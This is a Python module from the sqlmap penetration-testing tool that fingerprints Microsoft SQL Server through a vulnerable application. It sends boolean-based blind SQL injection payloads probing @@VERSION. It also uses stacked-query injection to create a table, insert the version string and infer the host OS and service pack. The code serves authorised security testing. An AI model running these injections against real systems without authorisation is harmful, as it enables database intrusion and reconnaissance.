#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2010 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self) def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = formatDBMSfp() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None if release and version and servicepack: banVer = "Microsoft SQL Server %s " % release banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) self.getBanner() if not conf.extensiveFp: kb.os = "Windows" return True infoMsg = "testing Microsoft SQL Server" logger.info(infoMsg) payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") result = Request.queryPage(payload) if result: infoMsg = "confirming Microsoft SQL Server" logger.info(infoMsg) for version in (0, 5, 8): randInt = randomInt() query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: if version == 8: kb.dbmsVersion = ["2008"] break elif version == 5: kb.dbmsVersion = ["2005"] break elif version == 0: kb.dbmsVersion = ["2000"] break else: query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: kb.dbmsVersion = ["7.0"] break if kb.dbmsVersion: setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) else: setDbms("Microsoft SQL Server") self.getBanner() kb.os = "Windows" return True else: warnMsg = "the back-end DMBS is not Microsoft SQL Server" logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if kb.os and kb.osVersion and kb.osSP: return if not kb.os: kb.os = "Windows" if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % kb.os self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { "2003": ("5.2", (2, 1)), #"2003": ("6.0", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')>0" query = agent.forgeCaseStatement(query) if inject.getValue(query, charsetType=1) == "1": kb.osVersion = version infoMsg += " %s" % kb.osVersion break if not kb.osVersion: kb.osVersion = "2003" kb.osSP = 2 warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[kb.osVersion][1] for sp in sps: query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + str(sp) + "%')>0" query = agent.forgeCaseStatement(query) if inject.getValue(query, charsetType=1) == "1": kb.osSP = sp break if not kb.osSP: debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) kb.osSP = 0 if kb.osVersion: infoMsg += " Service Pack %d" % kb.osSP logger.info(infoMsg) self.cleanup(onlyFileTbl=True)